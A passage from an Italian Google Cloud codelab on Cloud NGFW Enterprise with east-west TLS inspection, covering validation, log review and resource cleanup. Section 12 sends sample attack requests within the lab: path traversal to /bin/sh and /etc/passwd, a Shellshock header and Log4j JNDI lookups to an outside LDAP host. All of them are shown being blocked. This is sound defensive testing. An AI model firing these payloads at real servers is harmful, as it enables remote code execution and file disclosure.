trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

Importa la policy TLS aggiornata:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. Convalida dell'ispezione TLS E/W

Esegui SSH di nuovo sul client per testare il traffico E/W con la configurazione di attendibilità aggiornata:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Esegui la richiesta TLS di esempio al server:

curl https://$target_privateip --max-time 2

Se continui a visualizzare l'output riportato di seguito, attendi la propagazione degli aggiornamenti.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Output previsto:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

Invia traffico di test dannoso al server:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Output previsto:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Non vengono ricevute risposte in base all'output previsto di seguito, il che conferma che gli attacchi di esempio vengono ora bloccati per E/W.

13. Logging

Vai a Logging > Esplora log tramite la console Cloud, inserisci il filtro riportato di seguito ed esegui una query sui log. Sostituisci [PROJECT_ID] con il tuo project_id:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Le voci di log di Cloud NGFW Enterprise dovrebbero essere visualizzate in modo simile a quanto riportato di seguito:

5b68cc1063c0f4bd.png

Espandi le voci di log e nota che gli attacchi inviati dalla VM client al server sono stati identificati e bloccati (vulnerabilità di esecuzione di codice remoto Apache Log4j come nello screenshot riportato di seguito).

478f18f8481e90ed.png

Hai eseguito il deployment di Cloud NGFW Enterprise con l'ispezione TLS per bloccare le richieste dannose.

Vai alla sezione successiva per i passaggi di pulizia.

14. Procedura di pulizia

Pulizia della configurazione di base

Rimuovi le istanze:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Esegui i passaggi riportati di seguito se sono stati modificati i ruoli tagAdmin e tagUsers:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Rimuovi la chiave e i valori del tag:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Rimuovi la policy di rete Cloud Firewall e l'associazione:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Elimina il router Cloud e Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Elimina gli indirizzi IP prenotati:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Pulizia di SPG, associazione e TLS di Cloud Firewall

Elimina il gruppo di profili di sicurezza e il profilo delle minacce in questo ordine:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

Elimina l'associazione di endpoint Cloud Firewall:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Elimina l'endpoint Cloud Firewall, un'operazione che può richiedere circa 20 minuti:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

(Facoltativo) Verifica che l'endpoint Cloud NGFW sia stato eliminato eseguendo il comando riportato di seguito:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Lo stato dell'endpoint dovrebbe mostrare:

STATE: DELETING

Una volta completato, l'endpoint non verrà più elencato.

Elimina la policy TLS e la configurazione dell'attendibilità in questo ordine:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

Disabilita ed elimina la CA radice e il pool di CA:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

Pulizia di subnet e VPC

Infine, elimina la subnet e la rete VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. Complimenti!

Congratulazioni, hai completato il codelab Cloud NGFW Enterprise per l'ispezione TLS est-ovest e in uscita.